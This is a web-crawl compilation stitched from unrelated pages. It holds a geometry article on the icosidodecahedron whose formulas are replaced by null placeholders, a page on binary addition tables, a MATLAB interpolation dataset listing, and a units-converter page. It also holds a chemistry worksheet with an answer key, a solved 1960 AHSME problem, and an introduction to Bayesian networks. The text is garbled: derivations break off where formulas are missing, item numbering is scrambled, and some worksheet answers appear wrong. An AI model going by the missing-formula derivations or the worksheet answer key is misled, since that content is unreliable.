"Figure 3 showing 2 of the internal pentagons and 1 internal decagon\n\nFascinatingly enough, the i.d. also has 5 hexagonal planes! One of these is highlighted in Figure 4 below.\nNotice that the sides of the hexagonal planes are, just like the pentagonal planes, all diagonals of the pentagonal faces. How can this be? How can a pentagon and a hexagon both have sides of the same length? We'll see later on how this happens.",
null,
"Figure 4 -- showing one of the 5 hexagonal planes of the icosa-dodecahedron\n\nThe i.d. is composed of equilateral triangles internally and externally. The internal equilateral triangles form from the centroid and any 2 diagonal vertices of the pentagonal faces.",
null,
"Figure 5 All of these triangles (for example, triangle BGoE) are equilateral triangles, just like the 20 smaller equilateral triangles of the faces (for example, BGC). The i.d. has the property that the central angles of the diagonals of the pentagonal faces (as",
null,
"BGoE) are 60 degrees.",
null,
"Figure 6 -- showing one of the hexagonal planes in relation to 2 of the pentagonal planes and one of the dodecahedron planes. Now it is clear why the hexagonal plane has the same edge length as the pentagonal planes: the hexagonal plane uses different diagonals of the pentagonal faces, and so is angled relative to the pentagonal planes.",
null,
"Figure 6A -- showing that the hexagonal plane is parallel to the top and bottom triangular faces, and also showing the 2 large triangular planes.\n\nWhat is the volume of the icosadodecahedron?\nWe will use the pyramid method again. There are 20 triangular pyramids and 12 pentagonal pyramids.\nAlthough the icosa-dodecahedron is a semi-regular polyhedron, all of its vertices touch on the same sphere. So the radius of the sphere surrounding the i.d. is the same for each vertex. That makes our calculations a little easier.\n\nIn order to make life simpler, it would be nice to know the relationship between the side and the radius of the i.d. I will present 2 ways of getting this: the absurdly simple way, and the 'brute force' method.\nThe simple method is to recognize that the central angle of the i.d. is 36°, and that every vertex on the i.d. is part of a decagon. Therefore any 2 vertices combined with the centroid forms a\n36 -72 -72 isosceles triangle. We recognize this immediately as a Golden Triangle. The relationship of the short side to any of the long sides of such a triangle is therefore 1 to",
null,
". And so the relationship of the radius to any vertex is r =",
null,
"ids. (ids = icosadodecahedron side).",
null,
"Figure 7 - showing DoGo = GoZ = radius,\nand the golden triangle Go-Z-Do\n\nWe can show this with the 'brute force' method as follows:",
null,
"Figure 8 -- deriving the relationship between radius (GoZ) and side (ZDo)\n\nZY is the side of the pentagon. Go is also the center of the pentagon.\nZT is just one half the side of the pentagon, because GoDo is a bisector of ZY.\nWe know the distance GoZ, Construction of the Pentagon Part 2 as",
null,
"side of pentagon.\n\nGoZ is also the radius of the enclosing sphere around the i.d.\nWe also know from this that GoT =",
null,
"side of pentagon.\n\nTherefore TDo =",
null,
"-",
null,
"=",
null,
"side of pentagon.\n\nWhat is the relationship between the side of the pentagon and the side of the decagon?\nLet's find ZDo, the side of the decagon, in terms of the side of the pentagon.\n\nZDo² = TDo² + TZ² =",
null,
"ZDo =",
null,
"side of pentagon.\nBut r =",
null,
"side of pentagon, so side of pentagon =",
null,
". .\nTherefore, ZDo, the side of the decagon and the side of the i.d. =",
null,
"",
null,
"Now let’s resume the volume calculation. First we’ll calculate the volume of a pentagonal pyramid. Refer to Figure 9 below.\nFrom Area of Pentagon we know area =",
null,
",\nand the distance mid-face to any vertex of a pentagon,\nHoF, =",
null,
"ids.\nGoF =",
null,
"*ids. GoF is just the radius of the enclosing sphere",
null,
"Figure 9 -- one of the 12 pentagonal pyramids of the i.d.\n\nTo find the height of the pyramid, take right triangle GoHoF.\nh² = GoHo² = GoF² - HoF²",
null,
"h =",
null,
"",
null,
"That takes care of the pentagonal pyramids. There are still 20 triangular pyramids.\nEach triangular face area =",
null,
"and the height is as follows:",
null,
"Figure 10 - a triangular pyramid of the icosadodecahedron\n\nTriangle GoZF is right by construction.\nGoF =",
null,
"*ids, being the radius of the enclosing sphere.\nZF is, from Equilateral Triangle",
null,
"Therefore h² = GoZ² = GoF² - ZF² =",
null,
"h =",
null,
"So",
null,
"= 1/3 * area of base * pyramid height =",
null,
"=",
null,
"",
null,
"",
null,
"This figure is slightly larger than the volume of the rhombic triacontahedron. This larger figure is easily explained by the fact that both the outer radial distance of the r.t., and the radius of the i.d., are",
null,
"* side. Since ALL vertices of the icosadodecahedron lie on this sphere, and only 12 of the vertices of the rhombic triacontahedron do, the volume of the icosadodecahedron is naturally larger.\n\nWhat is the surface area of the icosadodecahedron?\nIt is 12 * area of pentagonal face + 20 * area triangular face =",
null,
"What is the central angle of the icosadodecahedron?\nBecause all of the vertices of the i.d lie along the 6 'great circle' decagons, the interior angles are all 360° / 10 = 36°. Notice that each of the central angles to adjacent vertices forms a Golden Triangle with angles 36°, 72° and 72°.\nWe saw earlier how the central angle between two diagonal vertices on any of the pentagonal faces, is 60° and how this forms a hexagon, and thus large internal equilateral triangles (see Figure 5 and triangles BGoE, LBGo, GoES, LAoGo, AoGoCo, GoCoS). We were curious as to how the side of the hexagonal plane could be the same length as the side of the pentagonal plane. If you look at Figure 6 you can see that the sides of both of these planes are a diagonal of any of the pentagonal faces. It is clear then, that like the rhombic triacontahedron and the icosahedron, the icosadodecahedron is based on the pentagon.\nBecause the length of the radius (distance from centroid to any vertex) is",
null,
"* side of i.d., and the diagonal of any pentagon is also",
null,
"* side of i.d., the hexagonal plane is formed .\n\nWhat are the surface angles of the i.d.?\nThere are 2 of them. One is the angle forming the triangular faces, equal to 60°, and the other is the angle forming the pentagonal faces, equal to 108°.\n\nWhat is the dihedral angle of the icosadodeccahedron?\nFor this calculation, go to IcosaDodecahedron Dihedral Angle .\n\nLet's collect some information we have already calculated:\nDistance from centroid to a vertex = radius =",
null,
"*ids.\nDistance from centroid to mid-pentagonal face =",
null,
"Distance from centroid to mid-triangular face =",
null,
"Distance from centroid to mid-edge =",
null,
"Or, in decimals,\nDistance from centroid to a vertex = radius = 1.618033989 *ids.\nDistance from centroid to mid-pentagonal face = 1.376381921 *ids.\nDistance from centroid to mid-triangular face = 1.511522629 *ids.\nDistance from centroid to mid-edge = 1.538841769 *ids.\n\nNow let's calculate the separation of the various planes in the icosadodecahedron.\nWe want to get the distances between Eo, Fo, Go, Io and Ho.\nLet's first get EoFo.",
null,
"Figure 3, repeated",
null,
"Figure 11a. Top view, refer to Figure 3",
null,
"Figure 11b The distance between the first 2 pentagonal planes (EoFo) of the icosadodecahedron. Note that although OXEo appears to be a straight line in Figure 11a, it is actually the dihedral angle of the solid.\n\nThe top pentagonal plane on the i.d. is the plane AJTFK, in purple in Figure 11a and the top plane in Figure 3. The large pentagonal plane UPBEO is marked in orange.\nThe point Eo is the center of the small pentagon, Fo is the center of the large pentagon.\nAJTFK is on top of UPBEO.\nThe angle FoEoX is right. EoFo is the line perpendicular to the plane AJTFK from the center of the plane UPBEO, and is part of the diameter of the sphere which runs through the centroid O.\nThe angle OFoEo is also right, the line EoFo is perpendicular to the plane UPBEO.\nOX and XEo can be easily calculated.\nOX is just the height of an equilateral triangle,",
null,
", and XEo is the distance, in a pentagon, from the center to any mid-edge. We know from Construction of the Pentagon Part 2 that this distance is",
null,
"The distance OFo is just the distance from the center of the large pentagon, to one of its vertexes. From Construction of the Pentagon Part 2 we know this distance to be",
null,
"* side of the large pentagon.\n\nWe may draw a perpendicular bisector from X to N on the line OFo.",
null,
"EoXN and",
null,
"XNFo are both right.\nWe now have a rectangle XNFoEo with 4 right angles at the corners, and XN = EoFo, XEo = NFo.\nNow we can find the distance ON, for it is just OFo - NFo.\nThen we can work with triangle ONX to find XN and we have EoFO.\n\nFirst we must find OFo in terms of the side of the icosadodecahedron.\nRemember that OFo is",
null,
"* side of the large pentagon. But the side of the large pentagon is just the diagonal of any the pentagonal faces of the i.d.\nTherefore the side of the large pentagon is",
null,
"* ids.\nWe can then write OFo =",
null,
"(Note that this distance is precisely the distance from the centroid to the mid-face of any of the pentagonal faces!)\n\nNFo = XEo =",
null,
"Then ON = OFo - NFo",
null,
"=",
null,
"From this we gather that ON = NFo.\n\nXN² = OX² - ON² =",
null,
"XN = EoFo =",
null,
"Therefore the distance between the first two pentagonal planes is",
null,
"Now we can easily find FoGo, the distance between the large pentagonal plane and the plane of the decagon which contains the centroid.\nThis distance is just EoGo - EoFo.\nEoGo is the distance from the centroid to mid-face of pentagon,\nwhich we found above to be",
null,
"So FoGo =",
null,
"=",
null,
"What is the relationship between EoFo, FoGo and EoGo?\nEoGo / FoGo =",
null,
"Therefore the radius EoGo is divided in Mean and Extreme Ratio at Fo.\nWe can make a table of relationships of the distances between the pentagonal planes. If we let EoFo = 1, then\n\n(Available in the book)\n\nWhat are the distances between the triangular planes and the hexagonal plane which runs through the centroid?\n(Refer back to Figure 6A above).\nWe want EoFo.\nThe large equilateral triangle DoIF in Figure 6A has sides equal to the distance DoF = FI = DoI in Figure 12:",
null,
"Figure 12 Showing the length of the sides of the large triangular planes\n\nYou can see this in Figure 3 by examining the vertices Do, Y, S, I which are part of one of the 'great circle' decagons. The length of each side of the triangular plane is DI. The other two legs of this large equilateral triangle are each part of a different decagon.\nFrom Decagon we know the edge length of each side of triangle DoIF is",
null,
"ids. You can see this in Figure 6A by examining the vertices Do, Y, S, I which are part of one of the 'great circle' decagons. The other two legs of this large equilateral triangle are also part of a different decagon.",
null,
"Figure 6A, repeated\n\nR’ is the center of the triangular face DoIF. T’ is the center of the triangular face CXV, and O’ is the centroid. We want to find R’T’, the distance between the two triangular planes. We will first find O’R’.\n\nThe solution is quite simple, actually. The distance DoR’ is known. DoR’ is the distance from the center of an equilateral triangle to an i.d. vertex. O’R is also known. O’R is just the distance from the centroid to a vertex of the i.d. R’ lies directly above O’. Therefore the triangle O’R’Do is right and we may write",
null,
".\nO’Do =",
null,
"*ids, and from we know that R’Do =",
null,
".",
null,
"",
null,
"Because the analysis is precisely the same for O’T’, the distance O’T’ also equals",
null,
", and\nR’T’ =",
null,
"What is the distance Q’R’? This is the distance between the triangular face OJT and the plane DoIF. The analysis is the same as above, except that the side of the triangular plane OJT is now ids, instead of",
null,
"(Why? Because OJT is a face of the i.d.) Therefore",
null,
"Q’R’ / O’R’ =",
null,
"What is the angle any of the hexagonal planes make with the plane of the decagon?\nIn Figure 6A the hexagonal plane is highlighted in purple.\n\nThis can be seen by observing the plane of the hexagon as it intersects the plane of the decagon in Figure 6.",
null,
"Figure 6, repeated\nNotice that",
null,
"OGoS is the angle of the hexagonal plane as it intersects with the central decagon, and that is it also a central angle of the i.d. This angle, of course, is 360 / 10 = 36°.\n\nConclusions:\n\nWhat have we learned about the icosadodecahedron?\nMainly, that it is pentagonally based.\nThe triangular faces fill in the gaps between the pentagonal faces.\nAll of the radii form Golden Triangles with any 2 adjacent vertices.\nThe spacing of the pentagonal and decagonal internal planes are based upon the division of the space into Mean and Extreme Ratio.",
null,
""
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http://www.fastchip.net/howcomputerswork/p29.html | [
"Next, we will consider how to make a program that adds two numbers, from 0 to 9 together.\n\nAgain, we will represent the numbers 0 through 9 with only 1's and 0's as indicated in the following table.\n\n## Table 6\n\n``` Number Representation\n0 0000\n1 0001\n2 0010\n3 0011\n4 0100\n5 0101\n6 0110\n7 0111\n8 1000\n9 1001\n```\n\nNext, we need a table that shows the answer for each possible pair of numbers from 0 to 9. This is the addition table we studied so hard to learn in grade school and is reproduced below.\n\n``` + 0 1 2 3 4 5 6 7 8 9\n\n0 0 1 2 3 4 5 6 7 8 9\n1 1 2 3 4 5 6 7 8 9 10\n2 2 3 4 5 6 7 8 9 10 11\n3 3 4 5 6 7 8 9 10 11 12\n4 4 5 6 7 8 9 10 11 12 13\n5 5 6 7 8 9 10 11 12 13 14\n6 6 7 8 9 10 11 12 13 14 15\n7 7 8 9 10 11 12 13 14 15 16\n8 8 9 10 11 12 13 14 15 16 17\n9 9 10 11 12 13 14 15 16 17 18\n```\n\nNext, we rewrite the addition table above as below.\n\n``` 0 + 0 = 00\n0 + 1 = 01\n0 + 2 = 02\n0 + 3 = 03\n0 + 4 = 04\n0 + 5 = 05\n0 + 6 = 06\n0 + 7 = 07\n0 + 8 = 08\n0 + 9 = 09\n1 + 0 = 01\n1 + 1 = 02\n\n.\n.\n.\n\n8 + 9 = 17\n9 + 0 = 09\n9 + 1 = 10\n9 + 2 = 11\n9 + 3 = 12\n9 + 4 = 13\n9 + 5 = 14\n9 + 6 = 15\n9 + 7 = 16\n9 + 8 = 17\n9 + 9 = 18\n```\n\nOnly some of the table elements are listed above to save space.\n\nPage 29\n\nPage 28 . . . Page 1 . . . Page 30"
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https://people.sc.fsu.edu/~jburkardt/m_src/test_interp/test_interp.html | [
"# test_interp\n\ntest_interp, a MATLAB code which defines data that may be used to test interpolation algorithms.\n\nThe following sets of data are available:\n\n1. p01_plot.png, 18 data points, 2 dimensions. This example is due to Hans-Joerg Wenz. It is an example of good data, which is dense enough in areas where the expected curvature of the interpolant is large. Good results can be expected with almost any reasonable interpolation method.\n2. p02_plot.png, 18 data points, 2 dimensions. This example is due to ETY Lee of Boeing. Data near the corners is more dense than in regions of small curvature. A local interpolation method will produce a more plausible interpolant than a nonlocal interpolation method, such as cubic splines.\n3. p03_plot.png, 11 data points, 2 dimensions. This example is due to Fred Fritsch and Ralph Carlson. This data can cause problems for interpolation methods. There are sudden changes in direction, and at the same time, sparsely-placed data. This can cause an interpolant to overshoot the data in a way that seems implausible.\n4. p04_plot.png, 8 data points, 2 dimensions. This example is due to Larry Irvine, Samuel Marin and Philip Smith. This data can cause problems for interpolation methods. There are sudden changes in direction, and at the same time, sparsely-placed data. This can cause an interpolant to overshoot the data in a way that seems implausible.\n5. p05_plot.png, 9 data points, 2 dimensions. This example is due to Larry Irvine, Samuel Marin and Philip Smith. This data can cause problems for interpolation methods. There are sudden changes in direction, and at the same time, sparsely-placed data. This can cause an interpolant to overshoot the data in a way that seems implausible.\n6. p06_plot.png, 49 data points, 2 dimensions. The data is due to deBoor and Rice. The data represents a temperature dependent property of titanium. The data has been used extensively as an example in spline approximation with variably-spaced knots. DeBoor considers two sets of knots: (595,675,755,835,915,995,1075) and (595,725,850,910,975,1040,1075).\n7. p07_plot.png, 4 data points, 2 dimensions. The data is a simple symmetric set of 4 points, for which it is interesting to develop the Shepard interpolants for varying values of the exponent p.\n8. p08_plot.png, 12 data points, 2 dimensions. This is equally spaced data for y = x^2, except for one extra point whose x value is close to another, but whose y value is not so close. A small disagreement in nearby data can become a disaster.\n\n### Languages:\n\ntest_interp is available in a C version and a C++ version and a FORTRAN90 version and a MATLAB version and a Python version.\n\n### Related Data and Programs:\n\ndivdif, a MATLAB code which includes many routines to construct and evaluate divided difference interpolants.\n\nhermite_interpolant, a MATLAB code which computes the Hermite interpolant, a polynomial that matches function values and derivatives.\n\ninterp, a MATLAB code which can be used for parameterizing and interpolating data;\n\ninterpolation, a dataset directory which contains datasets to be interpolated.\n\nlagrange_interp_1d, a MATLAB code which defines and evaluates the lagrange polynomial p(x) which interpolates a set of data, so that p(x(i)) = y(i).\n\nnewton_interp_1d, a MATLAB code which finds a polynomial interpolant to data using newton divided differences.\n\nr8lib, a MATLAB code which contains many utility routines using double precision real (r8) arithmetic.\n\nrbf_interp_1d, a MATLAB code which defines and evaluates radial basis function (rbf) interpolants to 1d data.\n\nshepard_interp_1d, a MATLAB code which defines and evaluates shepard interpolants to 1d data, which are based on inverse distance weighting.\n\nspline, a MATLAB code which includes many routines to construct and evaluate spline interpolants and approximants.\n\ntest_interp_2d, a MATLAB code which defines test problems for interpolation of data z(x,y)), depending on a 2d argument.\n\nvandermonde_interp_1d, a MATLAB code which finds a polynomial interpolant to a function of 1d data by setting up and solving a linear system for the polynomial coefficients, involving the vandermonde matrix.\n\n### Reference:\n\n1. Carl DeBoor, John Rice,\nLeast-squares cubic spline approximation II - variable knots.\nTechnical Report CSD TR 21,\nPurdue University, Lafayette, Indiana, 1968.\n2. Carl DeBoor,\nA Practical Guide to Splines,\nSpringer, 2001,\nISBN: 0387953663,\nLC: QA1.A647.v27.\n3. Fred Fritsch, Ralph Carlson,\nMonotone Piecewise Cubic Interpolation,\nSIAM Journal on Numerical Analysis,\nVolume 17, Number 2, April 1980, pages 238-246.\n4. Larry Irvine, Samuel Marin, Philip Smith,\nConstrained Interpolation and Smoothing,\nConstructive Approximation,\nVolume 2, Number 1, December 1986, pages 129-151.\n5. ETY Lee,\nChoosing Nodes in Parametric Curve Interpolation,\nComputer-Aided Design,\nVolume 21, Number 6, July/August 1989, pages 363-370.\n6. Hans-Joerg Wenz,\nInterpolation of Curve Data by Blended Generalized Circles,\nComputer Aided Geometric Design,\nVolume 13, Number 8, November 1996, pages 673-680.\n\n### Source Code:\n\nLast revised on 28 March 2019."
]
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https://www.unitsconverters.com/en/Moseley-Proportionality-Constant-Conversions/Measurement-1204 | [
"Formula Used\n1 Hertz^(1 per 2) = 0.1 Hectohertz^(1 per 2)\n1 Hertz^(1 per 2) = 0.1 Hectohertz^(1 per 2)\n\n## Importance of Moseley Proportionality Constant converter\n\nMeasurement of various quantities has been an integral part of our lives since ancient times. In this modern era of automation, we need to measure quantities more so than ever. So, what is the importance of Moseley Proportionality Constant converter? The purpose of Moseley Proportionality Constant converter is to provide Moseley Proportionality Constant in the unit that you require irrespective of the unit in which Moseley Proportionality Constant was previously defined. Conversion of these quantities is equally important as measuring them. Moseley Proportionality Constant conversion helps in converting different units of Moseley Proportionality Constant. Moseley proportionality constant is a constant used in Moseley's Law concerning the characteristic x-rays emitted by atoms.. There are various units which help us define Moseley Proportionality Constant and we can convert the units according to our requirement. unitsconverters.com provides a simple tool that gives you conversion of Moseley Proportionality Constant from one unit to another.\n\nWhat is Moseley Proportionality Constant?\nMoseley proportionality constant is a constant used in Moseley's Law concerning the characteristic x-rays emitted by atoms.\nWhat is the SI unit for Moseley Proportionality Constant?\nHertz^(1 per 2) (Hz^(1/2)) is the SI unit for Moseley Proportionality Constant. SI stands for International System of Units.\nWhat is the biggest unit for Moseley Proportionality Constant?\nMegahertz^(1 per 2) is the biggest unit for Moseley Proportionality Constant. It is 1000 times bigger than Hertz^(1 per 2).\nWhat is the smallest unit for Moseley Proportionality Constant?\nPicohertz^(1 per 2) is the smallest unit for Moseley Proportionality Constant. It is 1E-06 times smaller than Hertz^(1 per 2).",
null,
"Let Others Know"
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null,
"https://www.unitsconverters.com/image/share.png",
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http://www.learnersplanet.com/uses-of-metals-and-nonmetals-worksheet-10th-cbse | [
"# Metals and non metals Worksheet-4\n\nMetals and non metals Worksheet-4\n\nMultiple-Choice Question (One Option Correct):\n\n1. What type of oxide is formed by metals.\n\n(A) Acidic (B) Basic (C) Amphoteric (D) A & B\n\n(E) B and C\n\n1. What is the product formed when sodium is brunt in air.\n\n(A) Na2O (B) Na2O2 (C) NaO (D) NaO2\n\n1. The reaction of sodium and potassium with oxygen is\n\n(A) Exothermic (C) Endothermic\n\n(C) No heat change occurs. (D) Depends on the state of metal\n\n1. What are the products formed when Magnesium oxide MgO is dissolved in water?\n\n(A) Mg(OH)2 (B) MgOH\n\n(C) Mg2+ + H+ + OH+– (D) MgO(aq) + H2O(l)\n\n1. What type of oxide is formed by Aluminium ?\n\n(A) Acidic (B) Basic (C) Amphoteric (D) B and C\n\n1. A black substance is formed on the surface copper on prolonged heating in air. What is the chemical formula of that black substance?\n\n(A) CuO (B) Cu2O (C) CuO2 (D) All of these\n\n1. What is the product formed when iron is heated strongly in air?\n\n(A) FeO (B) Fe2O3 (C) Fe3O4 (D) Fe2O3.XH2O\n\n1. Why does Aluminium oxide (Al2O3) behave as an acidic oxide?\n\n(A) In water it forms Aluminium hydride (AlH3) which looses H+ ions.\n\n(B) It reacts with base giving salt and water.\n\n(C) Both (A) and (B)\n\n(D) It turns blue litmus red .\n\n1. What are the products of the given reaction",
null,
"(A) ZnCl2(aq) + H2O(l) (B) ZnCl2(aq) + H+ + OH\n\n(C) Zn2Cl + H2O(l) (D) ZnCl + H2O(l)\n\n1. Why calcium starts floating on the surface when it is treated with water?\n\n(A) Ca(OH)2 formed is lighter than water so it floats on the surface.\n\n(B) Bubbles of hydrogen gas formed stick to the surface of metal.\n\n(C) CaO formed floats on the surface.\n\n(D) All of these\n\n1. (A)\n\n2. (A)\n\n3. (A)\n\n4. (A)",
null,
"5. (C) Aluminium oxide reacts with acid as well as base forming salt and water",
null,
"1. (A) Copper forms copper (II) oxide on prolonged heating in air.",
null,
"1. (C) Iron reacts with the oxygen of air on heating to form iron (I,II) Oxide.",
null,
"1. (B)",
null,
"2. (A)",
null,
"3. (B) Ca(s) + 2H2O → Ca(OH)2(aq) + H2(g)"
]
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.71570206,"math_prob":0.9262227,"size":1199,"snap":"2019-51-2020-05","text_gpt3_token_len":462,"char_repetition_ratio":0.117154814,"word_repetition_ratio":0.026200874,"special_character_ratio":0.36280233,"punctuation_ratio":0.0513834,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9757275,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14],"im_url_duplicate_count":[null,1,null,1,null,1,null,1,null,1,null,1,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-01-28T00:39:38Z\",\"WARC-Record-ID\":\"<urn:uuid:fe2faa8d-4ffb-4bcb-9cd6-66666b038291>\",\"Content-Length\":\"48477\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:91ee9839-1945-46d4-a9db-c031b6ca226f>\",\"WARC-Concurrent-To\":\"<urn:uuid:1a5a690a-59eb-424c-931c-3cf8974836ef>\",\"WARC-IP-Address\":\"159.69.138.115\",\"WARC-Target-URI\":\"http://www.learnersplanet.com/uses-of-metals-and-nonmetals-worksheet-10th-cbse\",\"WARC-Payload-Digest\":\"sha1:DKGNWGCRYIY2DK7UHG4NKS56BGKKBZ3C\",\"WARC-Block-Digest\":\"sha1:PBJZYALQ6GTAQRFHEWMSWHD45KABDKLZ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-05/CC-MAIN-2020-05_segments_1579251737572.61_warc_CC-MAIN-20200127235617-20200128025617-00288.warc.gz\"}"} |
https://artofproblemsolving.com/wiki/index.php/1960_AHSME_Problems/Problem_14 | [
"# 1960 AHSME Problems/Problem 14\n\n## Problem\n\nIf",
null,
"$a$ and",
null,
"$b$ are real numbers, the equation",
null,
"$3x-5+a=bx+1$ has a unique solution",
null,
"$x$ [The symbol",
null,
"$a \\neq 0$ means that",
null,
"$a$ is different from zero]:",
null,
"$\\text{(A) for all a and b} \\qquad \\text{(B) if a }\\neq\\text{2b}\\qquad \\text{(C) if a }\\neq 6\\qquad \\\\ \\text{(D) if b }\\neq 0\\qquad \\text{(E) if b }\\neq 3$\n\n## Solution\n\nIf the coefficients of the x-terms are equal on both sides, then when the x-terms are subtracted from both sides, the equation results in a number equals 1.\n\nThis means the equation has either infinite or no solutions, so the x-terms can not be equal on both sides. Thus,",
null,
"$b \\neq 3$, so the answer is",
null,
"$\\boxed{\\textbf{(E)}}$."
]
| [
null,
"https://latex.artofproblemsolving.com/c/7/d/c7d457e388298246adb06c587bccd419ea67f7e8.png ",
null,
"https://latex.artofproblemsolving.com/8/1/3/8136a7ef6a03334a7246df9097e5bcc31ba33fd2.png ",
null,
"https://latex.artofproblemsolving.com/0/a/c/0acfc6ac7b525bfe1913d90bc5396a762b7add3c.png ",
null,
"https://latex.artofproblemsolving.com/2/6/e/26eeb5258ca5099acf8fe96b2a1049c48c89a5e6.png ",
null,
"https://latex.artofproblemsolving.com/6/7/a/67a8181c9d9b8253bd721b620aaabc5b01f4af96.png ",
null,
"https://latex.artofproblemsolving.com/c/7/d/c7d457e388298246adb06c587bccd419ea67f7e8.png ",
null,
"https://latex.artofproblemsolving.com/d/9/d/d9d9ebc461f9c275daeef1049c2d73e0f74fa61e.png ",
null,
"https://latex.artofproblemsolving.com/5/1/2/512e99214146a00703832fa3537a709677fa182e.png ",
null,
"https://latex.artofproblemsolving.com/6/b/f/6bfc0829f3f29bbf35d0a861644e00cfef0f50ca.png ",
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.660762,"math_prob":0.9999989,"size":775,"snap":"2023-40-2023-50","text_gpt3_token_len":270,"char_repetition_ratio":0.12710765,"word_repetition_ratio":0.0,"special_character_ratio":0.42709678,"punctuation_ratio":0.06535948,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":1.0000019,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18],"im_url_duplicate_count":[null,null,null,null,null,7,null,null,null,null,null,null,null,7,null,7,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-11-28T11:00:38Z\",\"WARC-Record-ID\":\"<urn:uuid:a1af11f4-092b-451b-a2bb-fd6160591ed4>\",\"Content-Length\":\"41440\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:a8be5d9d-8403-4173-a583-22be2bcc893b>\",\"WARC-Concurrent-To\":\"<urn:uuid:b8e8c43c-d690-419d-a9eb-add7140f2330>\",\"WARC-IP-Address\":\"104.26.11.229\",\"WARC-Target-URI\":\"https://artofproblemsolving.com/wiki/index.php/1960_AHSME_Problems/Problem_14\",\"WARC-Payload-Digest\":\"sha1:UOTEII2YPG2XYTEWZADKOMSCPUH53Q7F\",\"WARC-Block-Digest\":\"sha1:XL4QFNMO3IQ6WU3PD6RFOLJ6B4NQUAZU\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-50/CC-MAIN-2023-50_segments_1700679099281.67_warc_CC-MAIN-20231128083443-20231128113443-00699.warc.gz\"}"} |
http://datascience.sharerecipe.net/2019/03/03/probabilistic-graphical-models-bayesian-networks/ | [
"# Probabilistic Graphical Models: Bayesian Networks\n\nThe venue, cuisine, distance from home, pricing etc.\n\nIn general, we can write a custom program to answer our query (a nested if-else), but that will not be robust.\n\nIf it encounters an additional feature, we might have to re-write the model, which certainly seems a less feasible solution.\n\nTo overcome the aforementioned complication, we will use a different approach: Declarative Representation.\n\nIn this paradigm, we construct a model based on the task which would like to reason.\n\nModel encodes the knowledge of how the system works.\n\nKey features of this methodology are to separate knowledge and reasoning.\n\nDecision-making in real-world applications come with a level of uncertainty which corresponds to an uncertainty in the model building.\n\nThat's where the Probability comes in.\n\nThe math of probability theory provides us with a framework for considering multiple outcomes and their likelihood.\n\nConcepts of ProbabilityAxioms of Probability:For any event A, the probability of occurrence of the event will always be equal to or greater than zero.\n\nFigure-1: Probability of an event A2.\n\nIf there are disjoint events in a sample space, then the union of all events is the summation of individual probabilities.\n\nFigure-2: Union of all Disjoint events3.\n\nIn case of an event involving the universal set has the probability of 1.\n\nRandom Variable: A random variable is a function which maps each outcome in sample space to a value.\n\nFigure-3: G, H an A are random variables mapping to outcomes.\n\nMarginal DistributionAfter defining our random variable, we can consider the distribution of events which can be described using it.\n\nThis distribution is often referred to as Marginal Distribution over a random variable (let's say X).\n\nWe denote it by P(X).\n\nFigure-4: Marginal Distribution of a random variable, GJoint DistributionIn many situations, we want to involve several random variables.\n\nEach random variable corresponds to a certain attribute of an event.\n\nIn real-world problems, We are interested to find probability involving multiple events occurring together, which can be represented by Joint Distribution.\n\nIn general, if we have a set of events: {X1, X2, X3,…, Xn} then the joint distribution is denoted by P(X1, X2, X3,…, Xn)Figure-5: Joint Distribution of two random variables, G and I.\n\nJoint Distribution is fundamental as it helps us query information regarding the data in terms of marginal or conditional distribution.\n\nIn other words, we can derive the marginal and conditional distribution from it.\n\nConditional ProbabilityThis type of probability distribution involves prior knowledge of a random variable which affects the probability of occurrence of the target variable.\n\nIt is usually denoted by P(X|Y).\n\nThis can be interpreted as ‘Probability of X given Y has already occurred’.\n\nIt can be factorized in terms of Marginal and Joint Distributions.\n\nFigure-6: Factorization of Conditional ProbabilityConditional IndependenceAs we mentioned above that P(X|Y) is not equal to P(X), learning that Y is true changes our probability over X.\n\nHowever in some cases equality can occur which means that learning Y does not change our probability of X.\n\nConditional Independence is a more common situation when two events are independent given an additional event.\n\nWe say an event X is conditionally independent of event Y given an event Z denoted as P(X | Y, Z) = P(X|Z)Shortcomings of Joint ProbabilityFigure-7: Joint Distribution of n random variablesThe problem of using Joint Distribution for inference is that it is too complex to handle, and we have to use a Chain Rule with all dependencies to parameterize it.\n\nFigure-8: Chain Rule expansion of Joint Distribution of Fig.\n\n7Assuming that each random variable takes up a binary value, joint distribution needs 2^n -1 values, which is computationally expensive and from a statistical point of view need huge data to learn parameters.\n\nThere is a natural way to split up the joint distribution, i.\n\ne to generate a marginal and a conditional distribution from it which makes it more interpretable than parent table.\n\nThis process is known as Conditional Parameterization.\n\n(But it does not reduce the number of parameters!)In the real world scenario, we make certain assumptions regarding the random variables involved in the joint distribution, whether or not they are dependent on each other or not.\n\nIn that case, Chain rule simplifies as follows:Figure-9: Chain Rule Simplification.\n\nIn the upcoming section, we will discuss to include independence among the features and one of the ways to graphically denote the Joint Distribution.\n\nBayesian NetworksUntil now, we saw that if we add conditional independence in the distribution, it largely simplifies the chain rule notation leading to less number of parameters to learn.\n\nBayesian Network can be viewed as a Data Structure ( It provides factorization of Joint Distribution)Suppose we have ’n’ random variables.\n\nall of which are independent given another random variable C.\n\nThe graphical representation is as follows:Figure-10: Naive Bayes ModelIn this case, we did a very naive assumption that all random variables are independent of each other, which highly simplifies the chain rule notation to represent the model.\n\nThis model is formally known as the Naive Bayes Model ( which is used as one of the Classification Algorithm in Machine Learning Domain).\n\nBayesian Network aids us in factorizing the joint distribution, which helps in decision making.\n\n(We started off with the idea of decision making, Remember?)Conventions involved:1.\n\nNodes: Random Variables2.\n\nEdges: Indicate DepdenceA Graph can be seen in two ways: A Data Structure which provides a skeleton for representing Joint Distribution in the factorized way or Representation of Conditional Independence about Distribution.\n\nFigure-11: Bayesian Network along with Local Probability ModelI have given an example of Decision making in terms of whether the student will 